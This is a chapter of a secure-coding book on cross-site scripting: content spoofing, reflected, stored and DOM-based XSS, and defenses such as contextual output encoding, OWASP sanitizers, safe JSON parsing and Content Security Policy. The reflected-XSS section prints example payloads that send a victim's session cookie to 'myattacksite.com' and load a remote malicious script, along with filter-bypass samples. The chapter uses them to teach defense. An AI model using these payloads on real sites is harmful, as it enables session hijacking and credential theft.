Image

CHAPTER 4

Cross-Site Scripting Defense

Cross-site scripting, or â€œXSS,â€ is a form of attack executed by including untrusted data, such as malicious JavaScript code, into the victimâ€™s web browser. Simply put, XSS is attacker-driven code running within client browsers or other JavaScript engines. XSS attacks are perpetrated by inserting malicious JavaScript or JavaScript fragments into a host website where itâ€™s later executed in victimsâ€™ web browsers when the host site is viewed.

XSS is one of the most common vulnerabilities found across the Web. In our personal experience, 80â€“90 percent of websites subjected to intensive penetration testing exhibited at least one instance of XSS. XSS vulnerabilities can be exploited to devastating effect by an attacker to capture session cookies and CSRF tokens (see Chapter 5), modify page contents, change the location where form submissions are sent, or read the browserâ€™s autocomplete history. With JavaScriptâ€™s emergence as a fully fledged web programming language, almost anything is possible. Exploits have been demonstrated using JavaScript for reconnaissance of private networks, and to identify vulnerable hardware and update firmware with malware. XSS attacks issue from an unsuspecting userâ€™s browser.[1] Also, given that XSS is executed within the victimâ€™s web browser, the attackerâ€™s code executes at the userâ€™s privilege level. Assuming user privileges is possible because many web application sessions expire infrequently and victims often navigate to other sites of interest when done as opposed to logging off.

Curtailing XSS risks is difficult in complex modern websites. Developers need to use a multilayered strategy, specific to the type of website they are building, to truly reduce risk. To make matters worse, mobile platforms, video game consoles, printers, and many other classes of devices render HTML and JavaScript, making XSS dangerous even in non-browserâ€“based environments.

We are also going to cover risks related to content spoofing. Any unwanted content that is rendered on the browser and affects the *structure* or *content* of a web page can be harmful to the security of your website.

Letâ€™s break it down and see how to defeat this complex but tamable risk.

Content Spoofing

Before we get into XSS specifically, letâ€™s discuss one of the subsets of XSS, which is content spoofing. Content spoofing occurs when a user can change a portion of the URL to your website in a way that will change content on the page directly, even when HTML tags or scripts are removed from user input in some way. For example, consider an error page that accepts a parameter, which is the error message to display to the user: www.vulnerable.com/error.jsp?message=This+is+an+custom+error+message. When the page renders, the message â€œThis is an error messageâ€ displays to the user, as shown in Figure 4-1.

Image

FIGURE 4-1. *Error message*

By tampering with the â€œmessageâ€ URL parameter, an attacker can make the vulnerable website display any desired message. This technique has been used to deface web pages, create fake press releases, or create legitimate seeming start or end points for other more complex exploits. If the vulnerable page also includes the ability to inject HTML markup and styling information, an attacker can use absolutely positioned elements to hide the legitimate page content and completely replace it with their own.

Figure 4-2 illustrates injecting malicious HTML and CSS into a vulnerable web page. This attack is conducted by modifying parameter values in a URL.

Image

FIGURE 4-2. *Injecting HTML and CSS into a vulnerable web page*

The technique can be used to render a fake login form, sending sensitive information to a server under the attackerâ€™s control. Victims will believe they are viewing legitimate site content because the page has a similar look and feel as the original site and the browserâ€™s location bar displays the legitimate siteâ€™s URL. This highlights a good example of why blacklist-based input validation is not an effective defense. Even though you may stop the `<script>` tag, other markup can slip through. Even the most innocuous HTML tag can allow an attacker to take total control of the content of your page, to the detriment of your company.

Reflected XSS

Reflected XSS occurs when an attacker tampers with HTTP requests to submit malicious JavaScript code. Upon receipt of the request, the website immediately renders the modified content, including the malware script without encoding, back to the victimâ€™s web browser. The most likely vectors for malicious code are request parameters, but request headers, cookies, and REST-style URL parameters are also common vectors. Once attackers find a vulnerability, they compose a malicious script and then lure their victim to call the vulnerable URL by sending a phishing email, embedding the malicious request in a website, or something similar. Once the victim opens the URL with the attack payload, the JavaScript attack is triggered in the userâ€™s browser. Figure 4-3 illustrates the reflected XSS workflow.

Â Â Â Â Â Â Â Â Â Â **1.** Attacker builds a link that includes malicious JavaScript and sends it to victim.

Â Â Â Â Â Â Â Â Â Â **2.** Victim clicks on the malicious link sent by attacker.

Â Â Â Â Â Â Â Â Â Â **3.** Server processes the link and returns a page rendered with attacker-supplied code.

Â Â Â Â Â Â Â Â Â Â **4.** Attacker-supplied code executes on the userâ€™s browser.

Image

FIGURE 4-3. *Reflected XSS*

One potentially dangerous scenario that we see frequently in web application code is missing input validation of untrusted data. When the user submits a web form in the browser, input parameters must be validated on the server to ensure all data is consistent with business requirements. For example, form data from end users must have no missing fields, and the data types must match the expected types and formats called out in the business requirements. If data is inconsistent, the form is re-rendered with some fields pre-filled so that the user can enter the missing information or apply corrections.

Consider Figure 4-4, an example of a simple password update form. The form requires a username, current password, new password, and a confirmation. If the user fails to enter all the required information, or if the new passwords do not match, the page re-renders with the username field pre-filled.

Image

FIGURE 4-4. *Update Password screen*

The Java code for such a page might look like this:

Image

If the submitted username is not properly handled, the page is vulnerable to cross-site scripting. A clever attacker can exploit this vulnerability by constructing a URL that includes a malicious script in the username parameter:

Â Â Â Â Â Â Â www.mybank.com/changePassword?
username="><script>document.write('<img+src%3d"http%3a//myattacksite.com/
collector%3fsession%3d'+%2b+document.cookie+%2b+'">')%3b</script><a+href%3d"

This will cause a script tag to be written into the HTML page (value of the username parameter highlighted in boldface):

Image

In turn, this script writes an image tag into the DOM of the page. The image source (`src` attribute) is on the attackerâ€™s site and includes a request parameter containing the userâ€™s session cookies (using `document.cookie`). The attacker simply has to wait for someone to click his link and he will have captured their online banking session!

With the addition of asynchronous HTTP requests in JavaScript, almost anything is possible. The following script, for example, will send full login credentials to the attacker when the duped user submits the form:

Image

Now the attacker has the userâ€™s full credentials for the site to use at his leisure. And the attacker has the userâ€™s old password, which can be tested against other sites in case the user reused the same password on multiple sites (Ã la the Anonymous hack on HBGary; see http://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/). This script is a little long to be passed in a single request without arousing suspicion, so it can instead be saved as a .js file and stored anywhere on the Web, and linked in the malicious script tag using the `src` attribute:

Â Â Â Â Â Â Â http://localhost:8080/Demos/?username=%22%3E%3Cscript+src%3d%22http://myattacksite.com/js/malicious.js%22%3E%3C/script%3E%3Ca+href%3d%22

Stored XSS

Stored XSS occurs when an attacker submits malicious content to your website, and this content is stored in a database and later rendered for other uses on web pages (for example, on blog comments, a web forum, administrator interface, and so on). When a victim visits a page containing the attackerâ€™s content, the script is executed (see Figure 4-5). In this scenario, the victim is likely already authenticated, which could serve to make the attack more effective because the script will execute with the same permissions as the logged-in user.

Â Â Â Â Â Â Â Â Â Â **1.** Attacker submits malicious script to the server.

Â Â Â Â Â Â Â Â Â Â **2.** Server stores the attack string in the database in some way.

Â Â Â Â Â Â Â Â Â Â **3.** Victim views a page that contains the malicious script.

Â Â Â Â Â Â Â Â Â Â **4.** Attacker-supplied code executes on the userâ€™s browser.

Image

FIGURE 4-5. *Stored XSS workflow*

Stored cross-site scripting is the perfect example of why input validation alone is not a sufficient defense. The content may be fully scrubbed by the server before it is submitted and stored, but an insider such as a disgruntled DBA, or an outsider that manages to gain access to the database by other means, may be able to tamper with the stored data.

Stored cross-site scripting is much more dangerous than reflected. Stored XSS does not require the victim to take any attacker-initiated action other than normal use of your website. A user may be merely browsing the affected website in a normal fashion and stumble upon the stored script, which executes the malicious XSS payload. Even so, stored cross-site scripting does give website administrators an opportunity to perform some forensic analysis on the attack, and possibly determine when it was executed and by whom. The data is stored in the database and hopefully includes other metadata such as a timestamp, IP address, and the ID of the user who created the content. In a reflected XSS attack, the only record of the attack might be in a server access log, when the victim clicks on the malicious link sent by the attacker. In this case, the attack would appear to come from the victim, and there is no trace of the actual attacker.

DOM-Based XSS

DOM-based XSS is best understood by how it must be treated from a defense point of view. While reflective and stored XSS must be defended via encoding when building UI code server-side, DOM XSS is almost exclusively managed by adding defenses into custom JavaScript code, or by simply using safe JavaScript APIs in custom JavaScript code.

Consider the following example. The following page includes vulnerable JavaScript that takes values from the URL and then adds them to the DOM (Document Object Model) of the HTML page:

Image

When a user hits the page with a URL that contains a script in the `message` parameter, it will cause that script to be added to the DOM and executed in the browser: http://vulnerable.com/domxss.jsp#<script>alert('xss')</script>.

In the preceding example, the value of `window.location.hash` is never actually transmitted to the server, so the entire attack can be executed without ever alerting the administrators of the server!

The hash-based XSS attack payload is the classic definition of DOM XSS proposed by Amit Klein in 2005.[2] In Amitâ€™s â€œEffective defenseâ€ section, he describes the difference between defending against â€œreflectedâ€ and â€œstoredâ€ XSS versus defending against DOM XSS. Amitâ€™s â€œDOM XSS Defenseâ€ section states that â€œData validation at the client side (in JavaScript)â€ or â€œAlternative server side logicâ€ is the right approach. This was a great definition in 2005 but needs a little refining today.

We would like to update the definition of DOM-based XSS in terms of how programmers must defend against it. As you will see shortly, reflected and stored XSS are primarily fixed in server-side code. DOM XSS must be fixed in client-side code, by doing client-side validation in JavaScript, escaping untrusted input in JavaScript, and using safe JavaScript and JavaScript library APIs.

With this new definition in mind, a large number of new DOM XSS *sources* are possible beyond just the document hash, including the following:

Â Â Â Â Â Â Â Image `document.url`

Â Â Â Â Â Â Â Image `document.cookie`

Â Â Â Â Â Â Â Image `window.location.search`

Â Â Â Â Â Â Â Image `history.replaceState`

Just to name a few. With the introduction of HTML5, other sources that bend the original definition of DOM XSS are also available, including the following:

Â Â Â Â Â Â Â Image `localStorage`

Â Â Â Â Â Â Â Image `sessionStorage`

Â Â Â Â Â Â Â Image `IndexedDB`

Â Â Â Â Â Â Â Image `mozIndexedDB`

Â Â Â Â Â Â Â Image `webkitIndexedDB`

A good place to look for more information on possible DOM XSS sources and sinks is the DOMXSS Wiki.[3]

Defending Against XSS

Building a web application that is resistant to cross-site scripting can be challenging. For example, having to remediate an old legacy web application that contains significant XSS, in a language that does not have the right security libraries, without any programmers on staff who have direct experience with the language, can be quite a time-consuming and expensive problem to deal with. Advanced JavaScript frameworks often have deep and hard-to-fix XSS. And even

when fixing one XSS might be an easy task, fixing XSS at scale can be an incredibly difficult risk to manage without very careful planning and secure software engineering practices.

Â Â Â Â Â Â Â Image

Â Â Â Â Â Â Â **NOTE**

Â Â Â Â Â Â Â *Web Application Firewall: Sometimes itâ€™s difficult to fix software vulnerable to XSS. For example, it might be COTS software that you do not have the code for. Or it might be in-house legacy software and there is nobody left with the skills to fix that code. Or maybe you are just short on programming resources. A web application firewall (such as MODSecurity) is not a complete or often even a good defense, but sometimes itâ€™s all you have. It will at least reduce the attack surface of your web application. Maybe. It depends on whether you have the right resources available who can tune and program a WAFâ€¦*

Various factors need to be considered when deciding what defense to apply when trying to defend against XSS (see Table 4-1). The factors to consider include the types of input in the HTTP request and the locations on a web page where data will be included in the HTML document. A defense that works in one *context* (such as an HTML attribute) might not work in another *context* (such as a JavaScript variable assignment). In addition, a defense that works with one kind of input (such as input validation and output encoding for a username) will not work with other kinds of input (such as sanitization for untrusted HTML).

Image

TABLE 4-1. *Defense Use Cases*

Input Validation

We covered input validation in depth in Chapter 1, but itâ€™s important to discuss it in the content of XSS defense. Good input validation should be the first line of defense for every web application. However, input validation is *not sufficient* to stop all XSS without also using context-specific output encoding. For example, if your application strips out all `<script>` tags, an attacker can submit `<scr<script>ipt>` to get around the first round of sanitization.

Blacklist-based input validation *never* works to stop XSS. If you blacklist the string `<script>`, an attacker will try to submit an image tag with the same payload:

Image

Consider international applications that need to support multiple languages. Input validation becomes *very* complex and many defenders revert to using the Java regular expression `{P}` for input validation, which allows all printable characters. Similarly, when your application allows â€œopen comments fields,â€ such as user comments that can be submitted after a new article, a wide range of characters need to be accepted. On Twitter for example, you can submit almost any character in a tweet, including <, >, #, ', ", and other â€œdangerousâ€ characters that may be used to conduct an XSS attack!

Contextual Output Encoding

Itâ€™s very common for a programmer to build a UI that contains a mix of HTML fragments and untrusted data. This is the heart of where XSS attacks execute as well as where our most primary defense must reside. *Output encoding*, or *output escaping*, is a technique that converts data to a form that is display-only and will not execute JavaScript or even render HTML tags.

For example, if we set a username to `august<script>alert("w00t"); </script>` then you would see a little `w00t` pop up every time you visited a page that listed my username, such as My Profile or a forum comment. However, when HTML *entity encoding* is applied to that username, the code will be visible on the page, but not executable! Figure 4-6 illustrates JavaScript XSS tests being rendered safely because they are output encoded with HTML entity encoding.

Image

FIGURE 4-6. *Example of several attacks that are properly encoded*

Â Â Â Â Â Â Â Â Â Â Â Â Â Â **Original username:**

Â Â Â Â Â Â Â Â Â Â Â Â Â Â `august<script>alert("w00t");</script>`

Â Â Â Â Â Â Â Â Â Â Â Â Â Â **HTML entity encoded username:**

Â Â Â Â Â Â Â Â Â Â Â Â Â Â `august<script>alert(&quot;w00t&quot;);</script>`

The encoded version of the username would only display the code on a web page, without actually executing this code, which renders the cross-site scripting attack inert. However, this is just one type of output encoding. We need to use a different output encoding function based on where you are inserting untrusted data into the webpage!

Here are a few examples of different contexts in an HTML page in a JSP:

Â Â Â Â Â Â Â Image **HTML context:** `<p>user submitted data here</p>`

Â Â Â Â Â Â Â Image **Attribute context:** `<input value="user submitted data here"/>`

Â Â Â Â Â Â Â Image **JavaScript block context:** `<script>var data="user submitted data here";</script>`

Â Â Â Â Â Â Â Image **JavaScript attribute context:** `<a onclick="alert('user submitted data here');"/>`

Different encoding types that we will need include URL encoding, JavaScript hex encoding, CSS hex encoding, and of course HTML entity encoding! But you should not write these encoding functions yourself from scratch. Output encoding is by far the more important defensive layer. Even if you skip most validation, good output encoding will save you from most XSS. But the contrary is not true. Even if you do good input validation, you will still be stuck with some XSS if you skip the output encoding defensive layer. Even better, defense in depth, do both!

OWASP Java Encoder Project

The OWASP Java Encoder Project[4] is a high-performance web centric encoder for XSS defense. This project is for Java 1.5 and beyond, and is a simple-to-use drop-in high-performance encoder class with no other dependent libraries. The primary goal of the Java Encoder Project is to encode everything properly, and avoid cross-site scripting. The secondary goal of this project is to encode as fast as possible, using as few characters as possible. This project was built by Jeff Ichnowski and is maintained by and includes many contributions from Jeremy Long. The authors believe

that the work of Jeff Ichnowski far exceeds the output encoding functionality of any XSS encoding library in any language. We also feel this library should be considered for future versions of J2EE.

Again, the OWASP Java Encoder Project is focused purely on stopping XSS with encoding functions. It does not carry other baggage or additional controls with it. This project does not include prescriptive authentication or authorization mechanisms, input validators, or other security controls. This is by design. The OWASP Java Encoder Project is meant to be quickly added to your project to stop XSS with contextual encoding functionality in a high-performance way.

Â Â Â Â Â Â Â Image

Â Â Â Â Â Â Â **TIP**

Â Â Â Â Â Â Â *It is critical to set the HTML pageâ€™s character encoding to UTF-8 or UTF-16 via â€œmetaâ€ tag and http headers. You need to avoid invalid Unicode characters, which can cause XSS or other problems if the browser displays the page with incorrect character encoding (UTF-7 anyone?[5]).*

Here are some examples of how to use the OWASP Java Encoder in your code:

Image

OWASP Java Encoder Contexts

The OWASP Java Encoder Project includes a large number of encoding methods for every possible context a developer should encounter in the course of building a rich web application. If you are unsure of the correct context to use in a particular situation, then use the one marked `**parent` in the following sections.

OWASP JAVA Encoder at a Glance

The following describes how the OWASP Java Encoder works under the hood.

Â Â Â Â Â Â Â Image The encoders encode only the characters that need encoding and nothing else.

Â Â Â Â Â Â Â Image The encoders remove invalid characters from the text. For example, some characters are not valid anywhere in XML (and thus XHTML). If the characters are included, the XML parser/browser rejects the document/page as invalid.

Â Â Â Â Â Â Â Image Encodings are chosen to be as cross-compatible as possible.

HTML The following encoding functions are used to safely place untrusted data into different locations of an HTML document.

Image

OWASP JAVA Encoder Performance

Â Â Â Â Â Â Â Image The various encoder functions avoid allocations when possible using two strategies: (a) If a string doesnâ€™t need encoding, it returns the string unchanged without

allocating another string; and (b) they use pre-allocated buffers. This saves the associated overhead of the allocation and the subsequent garbage collection.

Â Â Â Â Â Â Â Image The encoders encode valid characters to their shortest possible equivalent, to the extent reasonable. For example, the double quote could be encoded as `&quot;` or `&#39;` â€”the encoder chooses the latter because it saves a byte.

`Encode.forHTML` encodes all the characters that `forHtmlAttribute` and `forHtmlContent` do, and thus it is safe to use in either attribute or content contexts. It is *not* safe to use in an unquoted attribute. For the truly paranoid, the â€œunquoted attributeâ€ context can be used everywhere else because it encodes pretty much everything.

The following are the most straightforward recommendations that we can give for this encoding family:

Â Â Â Â Â Â Â Image Always quote your HTML attributes.

Â Â Â Â Â Â Â Image Use `Encode.forHTML` for all HTML markup.

Â Â Â Â Â Â Â Image For inline JavaScript Event attributes, use the `Encode.forJavaScript(String)` or `Encode .forJavaScriptAttribute(String)`, as discussed shortly.

Otherwise, if you want to encode the absolute minimum number of characters only:

Â Â Â Â Â Â Â Image Always quote your HTML attributes.

Â Â Â Â Â Â Â Image Use `Encode.forHtmlAttribute` for attributes, and use `Encode .forHtmlContent` for the text content.

Â Â Â Â Â Â Â Image For inline JavaScript Event attributes, use `Encode .forJavaScript(String)` or `Encode .forJavaScriptAttribute(String)`, as discussed shortly.

JavaScript The following encoding functions are used to safely place untrusted data into different locations of JavaScript code.

Image

Here are the most common examples of encoding for the JavaScript content:

Image

When unsure of which function to use in the JavaScript family, `Encode .forJavaScript` will always be the safest function to use in â€œJavaScript space,â€ even if itâ€™s not perfectly efficient in terms of the number of characters encoded.

XML The following encoding functions are used to safely place untrusted data into different locations of an XML document.

Image

CSS The following encoding functions are used to safely place untrusted data into different locations of dynamic CSS code.

Image

URL Contexts Encoding a complete URL is difficult because certain components need to be encoded while others do not. For example, the equal sign is required to specify HTTP parameters, but you want the equal sign to be encoded in HTTP parameter *values*. We recommend encoding specific URL parameters when you can, rather than encoding an entire URL at once. Please note that sometimes you have no choice but to encode an entire URL, such as when a friend of yours links a cool cat video URL to you via your favorite social network. However, when building a URL that includes partial static data and partial data from an untrusted source, encoding URL fragments is appropriate. For example:

Image

Encoding an Untrusted URL Sometimes you have no choice but to securely manage a complete untrusted URL, but encoding an untrusted URL can be dangerous. Assuming that youâ€™ve properly validated a URL on input and the URL is well-formed, then `Encode.forHtmlAttribute` or `Encode.forHTML` functions will work to properly encode that URL. The `java.net.URI` class will also help you do rudimentary URL/URI validation and other security checks, which we previously discussed. Once you know a URL is valid, then encoding that URL as an HTML attribute is straightforward.

Image

OWASP Java Encoder JSP taglib

The OWASP Java Encoder Project also features JSP tags and EL.[6] Consider the following simple example:

Image

HTML Validation and Sanitization

In some situations, you want to allow your users to submit some limited HTML to your website. For example, consider blog posts with bold or underlined sections, developer forums that use the `<pre>` tag to indicate a code sample, or a personal profile that a user can customize with images and links. In these cases, output encoding will not work because the HTML tags you want to allow will be converted into `&gt;` and `&lt;` and the browser will interpret them as *content* rather than *markup*. In these cases, the only solution is to *sanitize* the HTML so that only a limited subset of HTML is allowed, but scripts and dangerous attributes such as `onMouseOver` are eliminated.

OWASP HTML Sanitizer

The OWASP Java HTML Sanitizer Project is a fast and easy-to-configure HTML Sanitizer that lets you include HTML authored by third parties in your web application while still protecting against XSS.[7] This code was written with security best practices in mind, has an extensive test suite, and has undergone adversarial security review. To use the OWASP HTML Sanitizer, first instantiate a policy, and then use that policy to sanitize the input HTML:

Image

It is also possible to configure your own policies to allow only a very restrictive subset of HTML tags and attributes:

Image

The policy definitions even allow you to do things such as translate one set of HTML tags into another using the sanitizer:

Image

AntiSamy

AntiSamy is an API for ensuring that user-supplied HTML/CSS is in compliance within an applicationâ€™s rules.[8] AntiSamy was released in 2007 and is the original open source HTML validation library for the Java language. In addition to whitelist-based HTML validation, it also provides the capability to validate and clean CSS, and ensure that attribute values fall into an expected range. To use AntiSamy, you first need to define the policy of allowable elements in a separate XML file.

Once the XML configuration file is complete, create the AntiSamy instance:

Image

Call the AntiSamy â€œcleanâ€ function to actually clean the untrusted input:

Image

AntiSamy vs. HTML Sanitizer

Both of the previously described HTML validation libraries have their strengths and weaknesses. When deciding which one to use, it is important to know the specific requirements of your project. HTML Sanitizer provides better performance and code-based configuration. AntiSamy allows for fine granular control of allowed markup in a separate XML configuration, and a means for applying policy to CSS styles as well as HTML.

Secure JSON Patterns

One widely used design pattern in modern web applications is to deliver an HTML file that is unpopulated with data, and then make a second request to retrieve JSON to populate the page. How should your browser parse JSON, which may include untrusted and potentially dangerous data? The json.org website suggests utilizing the JavaScript `eval` function to parse JSON.[9] This is a big no-no. When parsing JSON, it is important to remember that there are actually several contexts in use: the JSON data context, the JavaScript context, and the HTML context itself. This increases the attack surface. If an attacker were able to insert any of the following strings, he might be able to break out of the JSON and execute arbitrary code:

Â Â Â Â Â Â Â Image `</script>` (HTML contextâ€”exits the script element itself)

Â Â Â Â Â Â Â Image `");` (JavaScript contextâ€”exits the JSON and allows you to write JavaScript)

Â Â Â Â Â Â Â Image `",attacker:function(){}"` (JSON contextâ€”allows you to add arbitrary elements to the JSON structure)

What would happen if you ran the following JSON object through the JavaScript `eval` function?

Image

Indeed, eval-ing this JSON would cause the entire site to be defaced and would steal the userâ€™s session key, leaving the website crashing in a blazing fall. The solution is to parse your JSON with a formal JavaScript parser using `JSON.parse`.

Image

The overall pattern of populating your web page with JSON data, while commonly used, requires an extra request to populate the page with data. The design benefit of separating markup structure from data is powerful (not to mention offloading processing of the â€œassemblyâ€ of your web page to the client), but how can you accomplish the task of using JSON securely as well as eliminating the extra JSON request when the initial page is loaded?

Â Â Â Â Â Â Â Image

Â Â Â Â Â Â Â **NOTE**

Â Â Â Â Â Â Â *You never want to think of security in a vacuum. You must make these design decisions considering functionality, performance, and security as well as many other factors. One of the failures of many security professionals is that they prioritize security without considering other factors such as business goals or usability. By the same token, we are writing this book because many developers do not understand how to secure the application they build.*

The simple technique of embedding JSON data within the HTML page delivered from the server, and then to have JavaScript on the client side parse the data, provides multiple performance and design benefits.[10] This method enables you to cache a large amount of the display logic on the client, and it offloads a lot of the rendering workload to the millions of client browsers hitting a site, rather than on the heavily trafficked server.

First, embed the actual JSON data safely in a `type="application/json"` script tag with HTML entity encoding. This step â€œstoresâ€ the untrusted and potentially dangerous JSON in a safe way.

Image

In the next step, extract the encoded JSON from the script, decode it, and safely parse it into a JavaScript object.

Image

This pattern provides the separation of structure and data, offloads the processing of client HTML assembly to the browser, and stores and parses JSON safely!

But what about server-side JSON handling? One important Java library for handling JSON server-side in a secure fashion is the OWASP JSON Sanitizer Project.

OWASP JSON Sanitizer

Given JSON-like content, the OWASP JSON Sanitizer converts it to valid JSON.

This can be attached at either end of a data pipeline to help satisfy Postelâ€™s principle: *Be conservative in what you do, be liberal in what you accept from others.*

Applied to JSON-like content from others, it will produce well-formed JSON that should satisfy any parser you use. Applied to your output before you send, it will coerce minor mistakes in encoding and make it easier to embed your JSON in HTML and XML.

This section was written by Mike Samuel and is used in this book verbatim with his permission. We would like to thank Mike Samuel for his many open source Java and JavaScript contributions to application security, including Caja, HTML/JSON Sanitizer, and more.

Many applications have large amounts of code that uses ad hoc methods to generate JSON outputs. Frequently, these outputs all pass through a small amount of framework code before being sent over the network. This small amount of framework code can use this library to make sure that the ad hoc outputs are standards-compliant and safe to pass to (overly) powerful deserializers such as JavaScriptâ€™s `eval` operator.

Applications also often have web service APIs that receive JSON from a variety of sources. When this JSON is created using ad hoc methods, this library can massage it into a form that is easy to parse. By hooking this library into the code that sends and receives requests and responses, this library can help software architects ensure system-wide security and well-formedness guarantees.

The sanitizer takes JSON-like content and interprets it as JavaScriptâ€™s `eval` would. Specifically, it deals with these nonstandard constructs.

Image

The sanitizer fixes missing punctuation, end quotes, and mismatched or missing close brackets. If an input contains only whitespace, then the valid JSON string `null` is substituted.

The output is well-formed JSON as defined by RFC 4627. The output satisfies four additional properties:

Â Â Â Â Â Â Â Image The output will not contain the substring (case-insensitive) `</script` so it can be embedded inside an HTML script element without further encoding.

Â Â Â Â Â Â Â Image The output will not contain the substring `]]>` so it can be embedded inside an XML CDATA section without further encoding.

Â Â Â Â Â Â Â Image The output is a valid JavaScript expression, so it can be parsed by JavaScriptâ€™s `eval` built-in (after being wrapped in parentheses) or by `JSON.parse`. Specifically, the output will not contain any string literals with embedded JavaScript newlines (U+2028 paragraph separator or U+2029 line separator).

Â Â Â Â Â Â Â Image The output contains only valid Unicode scalar values (no isolated UTF-16 surrogates) that are allowed in XML unescaped.

Because the output is well-formed JSON, passing it to `eval` will have no side effects and no free variables, so it is neither a code-injection vector nor a vector for exfiltration of secrets.

This library ensures only that the JSON string to JavaScript object phase has no side effects and resolves no free variables, and cannot control how other client-side code later interprets the resulting JavaScript object. So if client-side code takes a part of the parsed data that is controlled by an attacker and passes it back through a powerful interpreter such as `eval` or `innerHTML`, then that client-side code might suffer unintended side effects.

The `sanitize` method will return the input string without allocating a new buffer when the input is already valid JSON that satisfies the properties mentioned previously. Thus, if used on input that is usually well formed, it has minimal memory overhead. The `sanitize` method takes `O(n)` time where `n` is the length in UTF-16 code units.

Letâ€™s put this all together. The native JavaScript `JSON.parse` function is not only safer than the JavaScript `eval` function, but is also faster because it has a simpler job. We really need a combination of server-side sanitization, using the proper browser-based parser, and for performance, we have the JSON embedding trick described previously.

Image

`JSON.parse` will fail with a syntax error on a lot of things that `eval` will happily parse, and `eval` will happily add massive vulnerabilities to your web client! Post-sanitization, JSON parsing will not harm you, and neither will it fail with a syntax error.

jQuery and DOM XSS

One of the most popular JavaScript frameworks is the jQuery open source library. jQuery provides a powerful cross-browser platform for traversing and manipulating the DOM, but as such there are a variety of jQuery functions that are inherently vulnerable to XSS. For example, the jQuery `html` function replaces the entire contents of the element it operates on with the input passed to the method:

Image

This will result in the input JavaScript being appended to the DOM, and the script will execute:

Image

Fortunately, in many cases jQuery provides similar methods that are not vulnerable. For example, replacing `html` with `text` will cause the input to be treated as text and the unsafe characters will be replaced with their corresponding HTML entities:

Image

The following are a few examples of jQuery constructs that are vulnerable to cross-site scripting. Great care must be used to develop jQuery-based applications that are immune to XSS.

Image

---

jQuery Encoder

One possible solution for preventing DOM-based XSS issues when using jQuery is the jQuery encoder project, by Chrisisbeef.[11] jqencoder is a jQuery plug-in whose goal is to provide developers with a means to do contextual output encoding on untrusted data, directly within jQuery. It provides methods similar to those that we have already discussed in other libraries, which should make it easy for a developer to apply the same level of XSS protection in her JavaScript as well as in her Java code.

Content Security Policyâ€”Remove Inline Events

It is critically important to avoid writing any inline JavaScript events in HTML and to avoid the use of the `on(click|mouseover|etc)` event attributes and the `javascript:` protocol in links. Inline JavaScript events are at the very least â€œbad designâ€ and difficult to maintain. However, there are also tangible security benefits to this practice. When all of your JavaScript is properly externalized into separate JS files, your application becomes a candidate for Content

Security Policy, an emerging Anti-XSS standard (and more). Content Security Policy is being developed by the W3C as a web standard.[12] Consider the project *Headlines*,[13] a great J2EE filter for helping set the appropriate security headers, including CSP, for a web app.

XSS Defense Summary

Â Â Â Â Â Â Â Image Use input validation on all data, but be warned that some input validation will not secure input from XSS (such as HTML input or â€œconversationâ€ input that contains full sentences, as in an article comment or social media or chat).

Â Â Â Â Â Â Â Image When building a user interface with JSP or similar UI technology, use contextual escaping to ensure any JavaScript is converted to safe display-only data.

Â Â Â Â Â Â Â Image Use a formal HTML sanitizer to validate untrusted HTML (such as from TinyMCE).

Â Â Â Â Â Â Â Image Use secure JavaScript design. Only put data into safe JavaScript APIs and parse JSON safely with `JSON.parse`.

Â Â Â Â Â Â Â Image Consider technologies such as Content Security Policy.

Resources

Defeating the threat of cross-site scripting is a complex task. We recommend using one or more of the following libraries to combat this threat. These are all well-maintained, time-tested libraries that will save developers time and provide a better defense than trying to â€œroll your ownâ€ defense libraries from scratch.

Output Encoding

Â Â Â Â Â Image **OWASP Java Encoder Project:**

Â Â Â Â Â Â Â Â Â https://www.owasp.org/index.php/OWASP_Java_Encoder_Project

Â Â Â Â Â Image **JQuery Encoder:**

Â Â Â Â Â Â Â Â Â https://github.com/chrisisbeef/jquery-encoder

HTML Sanitization

Â Â Â Â Â Image **OWASP HTML Sanitizer:**

Â Â Â Â Â Â Â Â Â https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer_Project

Â Â Â Â Â Image **OWASP AntiSamy:**

Â Â Â Â Â Â Â Â Â https://www.owasp.org/index.php/Category:OWASP_AntiSamy_Project

JavaScript Libraries

Â Â Â Â Â Image **jsHtmlSanitizer:**

Â Â Â Â Â Â Â Â Â Â https://code.google.com/p/google-caja/wiki/JsHtmlSanitizer

Â Â Â Â Â Image **jQuery Encoder:**

Â Â Â Â Â Â Â Â Â Â https://github.com/chrisisbeef/jquery-encoder

Summary

Combating the risk of cross-site scripting can be a complex, tedious, and frustrating task. However, with the right strategy and proper security libraries, you can stamp out the cockroach of the Internet: XSS. Armed with a combination of proper input validation, contextual encoding, and secure JavaScript design, go forth and defeat XSS forevermore!

Image

[1] Phil Purviance and Josh Brashars, *Blended Threats and JavaScript* (BlackHat USA, 2011, San Francisco, CA), http://media.blackhat.com/bh-us-12/Briefings/Purviance/BH_US_12_Purviance_Blended_Threats_Slides.pdf.

[2] Amit Klein, *DOM XSS of the Third Kind*, www.webappsec.org/projects/articles/071105.shtml

[3] http://code.google.com/p/domxsswiki/wiki/FindingDOMXSS

[4] https://www.owasp.org/index.php/OWASP_Java_Encoder_Project

[5] â€œUTF-7 XSS CheatSheetâ€ http://openmya.hacker.jp/hasegawa/security/utf7cs.html

[6] https://www.owasp.org/index.php/OWASP_Java_Encoder_Project#tab=Deploy_the_Java_Encoder_Project

[7] https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer_Project

[8] https://www.owasp.org/index.php/Category:OWASP_AntiSamy_Project

[9] â€œTo convert a JSON text into an object, you can use the eval() function. eval() invokes the JavaScript compiler,â€ www.json.org/js.html.

[10] https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet#HTML_entity_encoding. Thank you to Neil Matatall for this contribution.

[11] https://github.com/chrisisbeef/jquery-encoder

[12] www.w3.org/TR/CSP11/

[13] https://github.com/sourceclear/headlines